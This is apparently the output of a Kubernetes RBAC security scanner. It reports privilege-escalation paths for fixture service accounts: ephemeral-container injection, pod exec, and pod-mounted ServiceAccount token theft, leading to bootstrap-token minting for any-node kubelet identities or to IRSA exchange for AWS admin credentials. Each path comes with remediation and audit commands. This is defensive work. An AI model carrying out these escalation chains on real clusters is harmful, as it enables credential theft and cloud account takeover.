The Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.

The chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector via pod_create_token_theft (create pods): can create pods that mount ServiceAccount kube-system/generic-garbage-collector
3. ServiceAccount/kube-system/generic-garbage-collector → / via bootstrap_token_mint (delete,get,list,patch,update,watch secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name

Impact Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-ephemeral.
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/kube-system/generic-garbage-collector ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/kube-system/generic-garbage-collector, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (delete,get,list,patch,update,watch secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  5. With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's.
  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount kube-system/generic-garbage-collector
  3. Step 3 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/kube-system/generic-garbage-collector
    Permission granted delete,get,list,patch,update,watch secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
Remediation
Remove create certificatesigningrequests/nodeclient from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair impersonate users with impersonate groups naming system:nodes, then break the chain at: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector).
  1. Break the chain at: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector).
  2. Audit who may create the nodeclient subresource: kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == "system:certificates.k8s.io:certificatesigningrequests:nodeclient") | .subjects[]? | "\(.kind) \(.name)"'. Expect only system:bootstrappers:kubeadm:default-node-token.
  3. Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type).
  4. Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type bootstrap.kubernetes.io/token.
  5. Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (kubeadm token list) and delete unused ones.
  6. Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels.
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 7.2
ServiceAccount/privesc-fixtures/sa-pod-exec can obtain a node identity for any node in 3 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-exec → node identity
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a privesc path that terminates in a kubelet client identity (system:node:<name> in system:nodes) for a node of its choosing.

The Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.

The chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector via pod_create_token_theft (create pods): can create pods that mount ServiceAccount kube-system/generic-garbage-collector
3. ServiceAccount/kube-system/generic-garbage-collector → / via bootstrap_token_mint (delete,get,list,patch,update,watch secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name

Impact Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-pod-exec.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/rbac-fixtures/sa-pod-create and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/kube-system/generic-garbage-collector ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/kube-system/generic-garbage-collector, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (delete,get,list,patch,update,watch secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  5. With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's.
  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount kube-system/generic-garbage-collector
  3. Step 3 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/kube-system/generic-garbage-collector
    Permission granted delete,get,list,patch,update,watch secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
Remediation
Remove create certificatesigningrequests/nodeclient from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair impersonate users with impersonate groups naming system:nodes, then break the chain at: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector).
  1. Break the chain at: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/kube-system/generic-garbage-collector).
  2. Audit who may create the nodeclient subresource: kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == "system:certificates.k8s.io:certificatesigningrequests:nodeclient") | .subjects[]? | "\(.kind) \(.name)"'. Expect only system:bootstrappers:kubeadm:default-node-token.
  3. Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type).
  4. Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type bootstrap.kubernetes.io/token.
  5. Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (kubeadm token list) and delete unused ones.
  6. Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels.
HIGH

ServiceAccount can reach external AWS IAM role

KUBE-PRIVESC-PATH-AWS-IAM-ROLE 23 subjects Score 7.6–6.4
MITRE ATT&CK: T1078.004T1098T1552.007

Affected subjects (23)

HIGH ServiceAccount/cloud-eks-imp/imp-irsa Cluster 7.6
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/cloud-eks-imp/imp-irsa -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-imp/imp-irsa

Subject ServiceAccount/cloud-eks-imp/imp-irsa has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (1 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via irsa_assume_role (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/cloud-eks-imp/imp-irsa.
  2. Acting as ServiceAccount/cloud-eks-imp/imp-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole via arn:aws:iam::123456789012:role/ImpersonatorAdminRole, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.
  3. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Permission granted arn:aws:iam::123456789012:role/ImpersonatorAdminRole
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission arn:aws:iam::123456789012:role/ImpersonatorAdminRole that enables the first hop (ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission arn:aws:iam::123456789012:role/ImpersonatorAdminRole that enables the first hop (ServiceAccount/cloud-eks-imp/imp-irsa → User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/cloud-eks-test/eks-admin-irsa Cluster 7.6
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/cloud-eks-test/eks-admin-irsa -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/eks-admin-irsa

Subject ServiceAccount/cloud-eks-test/eks-admin-irsa has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (1 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/cloud-eks-test/eks-admin-irsa.
  2. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  3. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission arn:aws:iam::123456789012:role/AdministratorAccess that enables the first hop (ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission arn:aws:iam::123456789012:role/AdministratorAccess that enables the first hop (ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/cloud-eks-test/eks-token-minter Cluster 7.5
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/cloud-eks-test/eks-token-minter -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/eks-token-minter

Subject ServiceAccount/cloud-eks-test/eks-token-minter has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/cloud-eks-test/eks-token-minter → ServiceAccount/cloud-eks-test/eks-admin-irsa via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa
2. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/cloud-eks-test/eks-token-minter.
  2. Acting as ServiceAccount/cloud-eks-test/eks-token-minter, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/cloud-eks-test/eks-admin-irsa. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  4. Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (sts:AssumeRoleWithWebIdentity) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/cloud-eks-test/eks-token-minter → ServiceAccount/cloud-eks-test/eks-admin-irsa
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa
  2. Step 2 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
Remediation
Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/cloud-eks-test/eks-token-minter → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  1. Audit the IAM role's trust policy: aws iam get-role --role-name <role> and confirm the Condition block restricts sub to exactly this ServiceAccount (e.g. system:serviceaccount:<ns>:<sa>). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.
  2. Apply least-privilege actions on the role's attached policies. Replace Action: "*" or Resource: "*" with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).
  3. Tag and audit role usage with CloudTrail. Set aws_iam_role_last_used to alert on any AssumeRole event not originating from the expected SA's OIDC sub.
  4. Break the in-cluster chain: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/cloud-eks-test/eks-token-minter → ServiceAccount/cloud-eks-test/eks-admin-irsa).
  5. Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose eks.amazonaws.com/role-arn annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Cluster 7.5
ServiceAccount can reach external AWS IAM role
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-token-create -> external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create has a privesc path that ends at an external AWS IAM role. The terminal hop is irsa_assume_role: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.

The chain (2 hop(s); each step uses an explicit primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cloud-eks-test/eks-admin-irsa via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa
2. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA

This finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or aws iam simulate-principal-policy) is required to convert this into a concrete impact statement.

Impact Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/rbac-fixtures/sa-token-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/cloud-eks-test/eks-admin-irsa. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
